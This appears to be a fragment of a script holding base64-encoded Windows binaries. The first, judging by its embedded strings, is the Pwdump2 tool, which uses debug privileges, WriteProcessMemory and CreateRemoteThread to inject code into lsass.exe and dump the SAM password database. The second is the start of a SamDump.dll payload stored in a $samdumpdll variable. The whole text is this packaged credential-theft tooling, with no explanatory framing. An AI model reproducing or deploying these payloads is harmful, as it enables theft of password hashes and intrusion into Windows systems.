AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqGcAAJBnAAB4ZwAAAAAAABRmAABKZgAAWmYAAGpmAAB4ZgAAhmYAAJpmAACqZgAAJGYAADpmAADoZgAA/mYAABRnAAAqZwAANmcAAEpnAABWZwAAAmYAANZmAADAZgAA/mcAAMpnAADWZwAA5GcAAPBnAAD0ZQAAEmgAACRoAAAyaAAAQGgAAE5oAABcaAAAbGgAAH5oAACOaAAAnGgAAK5oAADKaAAA5GgAAP5oAAAUaQAALGkAAEZpAABSaQAAXmkAAHJpAACIaQAAmmkAAKxpAAC+aQAAymkAANRpAADgaQAA8GkAAABqAAAAAAAA/////wcdQAAbHUAABgAABgABAAAQAAMGAAYCEARFRUUFBQUFBTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABwcHh4eHgIBwgAAAcACAgIAAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAABydW50aW1lIGVycm9yIAAADQoAAFRMT1NTIGVycm9yDQoAAABTSU5HIGVycm9yDQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI4DQotIHVuYWJsZSB0byBpbml0aWFsaXplIGhlYXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBsb3dpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHN0ZGlvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9uIGNhbGwNCgAAAFI2MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRhYmxlDQoAAAAAUjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAxOA0KLSB1bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRpdGhyZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJlYWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3QgbG9hZGVkDQoAAAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAAoKAABSdW50aW1lIEVycm9yIQoKUHJvZ3JhbTogAAAALi4uADxwcm9ncmFtIG5hbWUgdW5rbm93bj4AAAAAAAAAAAAA/////+tMQADvTEAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMyLmRsbAAA/////79WQADDVkAA/////3NXQAB3V0AAFGUAAAAAAAAAAAAAamcAABBgAAAEZQAAAAAAAAAAAAC8ZwAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqGcAAJBnAAB4ZwAAAAAAABRmAABKZgAAWmYAAGpmAAB4ZgAAhmYAAJpmAACqZgAAJGYAADpmAADoZgAA/mYAABRnAAAqZwAANmcAAEpnAABWZwAAAmYAANZmAADAZgAA/mcAAMpnAADWZwAA5GcAAPBnAAD0ZQAAEmgAACRoAAAyaAAAQGgAAE5oAABcaAAAbGgAAH5oAACOaAAAnGgAAK5oAADKaAAA5GgAAP5oAAAUaQAALGkAAEZpAABSaQAAXmkAAHJpAACIaQAAmmkAAKxpAAC+aQAAymkAANRpAADgaQAA8GkAAABqAAAAAAAAwwBGcmVlTGlicmFyeQBTAUdldFByb2NBZGRyZXNzAADfAUxvYWRMaWJyYXJ5QQAA/QJXYWl0Rm9yU2luZ2xlT2JqZWN0AE0AQ3JlYXRlVGhyZWFkAAA0AENyZWF0ZUV2ZW50QQAALQFHZXRMYXN0RXJyb3IAABECT3BlblByb2Nlc3MAHgBDbG9zZUhhbmRsZQAJAUdldEN1cnJlbnRQcm9jZXNzAPICVmlydHVhbEZyZWVFeABJAENyZWF0ZVJlbW90ZVRocmVhZAAAFwNXcml0ZVByb2Nlc3NNZW1vcnkAAO8CVmlydHVhbEFsbG9jRXgAAAoBR2V0Q3VycmVudFByb2Nlc3NJZAA4AUdldE1vZHVsZUZpbGVOYW1lQQAAZQBEaXNjb25uZWN0TmFtZWRQaXBlAD0CUmVhZEZpbGUAACYAQ29ubmVjdE5hbWVkUGlwZQAAkAJTZXRFdmVudAAARABDcmVhdGVOYW1lZFBpcGVBAABLRVJORUwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2aWxlZ2VzABgBTG9va3VwUHJpdmlsZWdlVmFsdWVBAGcBT3BlblByb2Nlc3NUb2tlbgAAQURWQVBJMzIuZGxsAAC6AUhlYXBGcmVlAAC9AUhlYXBSZUFsbG9jALQBSGVhcEFsbG9jAIwARXhpdFByb2Nlc3MAywJUZXJtaW5hdGVQcm9jZXNzAADaAEdldENvbW1hbmRMaW5lQQCOAUdldFZlcnNpb24AALgBSGVhcERlc3Ryb3kAtgFIZWFwQ3JlYXRlAADxAlZpcnR1YWxGcmVlAO4CVmlydHVhbEFsbG9jAACYAlNldEhhbmRsZUNvdW50AABoAUdldFN0ZEhhbmRsZQAAKAFHZXRGaWxlVHlwZQBmAUdldFN0YXJ0dXBJbmZvQQDbAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAwQBGcmVlRW52aXJvbm1lbnRTdHJpbmdzQQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAEDV2lkZUNoYXJUb011bHRpQnl0ZQAZAUdldEVudmlyb25tZW50U3RyaW5ncwAbAUdldEVudmlyb25tZW50U3RyaW5nc1cAAFcCUnRsVW53aW5kAA4DV3JpdGVGaWxlALkARmx1c2hGaWxlQnVmZmVycwAAAgJNdWx0aUJ5dGVUb1dpZGVDaGFyAGkBR2V0U3RyaW5nVHlwZUEAAGwBR2V0U3RyaW5nVHlwZVcAAJUCU2V0RmlsZVBvaW50ZXIAAM8AR2V0Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9FTUNQAACoAlNldFN0ZEhhbmRsZQAA3AFMQ01hcFN0cmluZ0EAAN0BTENNYXBTdHJpbmdXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQZQADUUkAAAAAAAAAAAAAZGkAAAAAAAAAAAAAAAAAAAAAAAEwAUwBBAFMAUwAuAEUAWABFAAAAUnRsQ29tcGFyZVVuaWNvZGVTdHJpbmcATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE5URExMAAAAClB3ZHVtcDIgLSBkdW1wIHRoZSBTQU0gZGF0YWJhc2UuClVzYWdlOiAlcyA8cGlkIG9mIGxzYXNzLmV4ZT4KAEZhaWxlZCBzdGFydGluZyBsaXN0ZW4gb24gcGlwZTogJWQuICBFeGl0aW5nCgAAAEZhaWxlZCB0byBjcmVhdGUgcmVjZWl2aW5nIHRocmVhZDogJWQuICBFeGl0aW5nCgAAAABGYWlsZWQgdG8gb3BlbiBsc2FzczogJWQuICBFeGl0aW5nLgoAAAAARmFpbGVkIGVuYWJsaW5nIERlYnVnIHByaXZpbGVnZS4gIFByb2NlZWRpbmcgYW55d2F5CgAAAABVbmFibGUgdG8gZmluZCBsc2Fzcy5leGUgcGlkIGF1dG9tYXRpY2FsbHkuCllvdSBuZWVkIHRvIHNwZWNpZnkgb24gdGhlIGNvbW1hbmQgbGluZQoAAAAAVW5hYmxlIHRvIGFkanVzdCB0b2tlbiBwcml2aWxlZ2VzOiAlZAoAAFVuYWJsZSB0byBsb29rdXAgcHJpdmlsZWdlOiAlZAoAU2VEZWJ1Z1ByaXZpbGVnZQAAAABVbmFibGUgdG8gb3BlbiBwcm9jZXNzIHRva2VuOiAlZAoAAABDcmVhdGVSZW1vdGVUaHJlYWQgZmFpbGVkOiAlZAoAAFdyaXRlUHJvY2Vzc01lbW9yeSBmYWlsZWQ6ICVkCgAAVmlydHVhbEFsbG9jRXggZmFpbGVkOiAlZAoAAFxcLlxwaXBlXHB3ZHVtcDItJWQARHVtcFNhbQBTYW1EdW1wLmRsbABGcmVlTGlicmFyeQBHZXRQcm9jQWRkcmVzcwAATG9hZExpYnJhcnlBAAAAAEtlcm5lbDMyAAAAACVzAABGYWlsZWQgdG8gY29ubmVjdCB0aGUgcGlwZTogJWQKAEZhaWxlZCB0byBjcmVhdGUgdGhlIHBpcGU6ICVkCgAAAAAAAACBQAAAAAAAAIFAAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNGEAAAQAAABAAAAD4AwAAaGFAAFhhQAD/////AAoAAAp2QAAKdkAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAC4AAAABAAAAAAAAAAAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADABAAAAAAAAACNAADACAAAAAAAAACOAADACAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACRAADACAAAAAAAAACSAADACAAAAAAAAACTAADACAAAAAAAAAADAAAABwAAAAoAAACMAAAAIAWTGQAAAAAAAAAAAAAAAAIAAADUY0AACAAAAKhjQAAJAAAAfGNAAAoAAABYY0AAEAAAACxjQAARAAAA/GJAABIAAADYYkAAEwAAAKxiQAAYAAAAdGJAABkAAABMYkAAGgAAABRiQAAbAAAA3GFAABwAAAC0YUAAeAAAAKRhQAB5AAAAlGFAAHoAAACEYUAA/AAAAIBhQAD/AAAAcGFAAAAAAAAAAAAAeVNAAHlTQAB5U0AAeVNAAHlTQAB5U0AAAAAAAAAAAAABAgQIAAAAAKQDAABggnmCIQAAAAAAAACm3wAAAAAAAKGlAAAAAAAAgZ/g/AAAAABAfoD8AAAAAKgDAADBo9qjIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgf4AAAAAAABA/gAAAAAAALUDAADBo9qjIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgf4AAAAAAABB/gAAAAAAALYDAADPouSiGgDlouiiWwAAAAAAAAAAAAAAAAAAAAAAgf4AAAAAAABAfqH+AAAAAFEFAABR2l7aIABf2mraMgAAAAAAAAAAAAAAAAAAAAAAgdPY3uD5AAAxfoH+AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";$samdumpdll="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA5YhDKfQN+mX0Dfpl9A36ZlRx1mXwDfpmVHHSZNwN+mf4fcJluA36ZJCBtmXgDfpl9A3+ZNAN+mYIjdJl8A36ZgiN6mXwDfplSaWNofQN+mQAAAAAAAAAAUEUAAEwBBAAT+OA4AAAAAAAAAADgAA4hCwEGAABQAAAAUAAAAAAAAIoaAAAAEAAAAGAAAAAAABAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAsAAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAYGsAAEYAAAAwZgAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAADkBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAOwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAKJNAAAAEAAAAFAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAACmCwAAAGAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAoCYAAABwAAAAEAAAAHAAAAAAAAAAAAAAAAAAAEAAAMAucmVsb2MAAJQMAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA